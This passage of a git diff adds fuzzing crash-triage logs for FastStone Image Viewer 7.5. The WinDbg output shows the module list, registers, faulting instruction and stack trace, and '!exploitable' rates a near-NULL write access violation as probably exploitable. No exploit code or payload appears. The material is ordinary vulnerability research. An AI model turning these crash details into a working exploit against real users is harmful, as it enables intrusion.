+STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31724/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31724/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/31724/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32031/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32031/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32031/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32031/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32031/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f5cc8e1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32031/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32031/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32031/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..848d346 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32031/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1CFC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1CFC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1cfc.520): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07f87b19 edx=00000000 esi=00000000 edi=0fc88fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.772009299217368160000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-2.45973e-033 -2.99922e-008 -1.42958e-021 -59.5689 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08068130 07fe5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00380000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00380000 d48f1d49 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6292 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00380000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32031/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32031/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..848d346 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32031/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1CFC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1CFC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1cfc.520): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07f87b19 edx=00000000 esi=00000000 edi=0fc88fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.772009299217368160000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-2.45973e-033 -2.99922e-008 -1.42958e-021 -59.5689 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08068130 07fe5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00380000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00380000 d48f1d49 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6292 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00380000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32031/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash 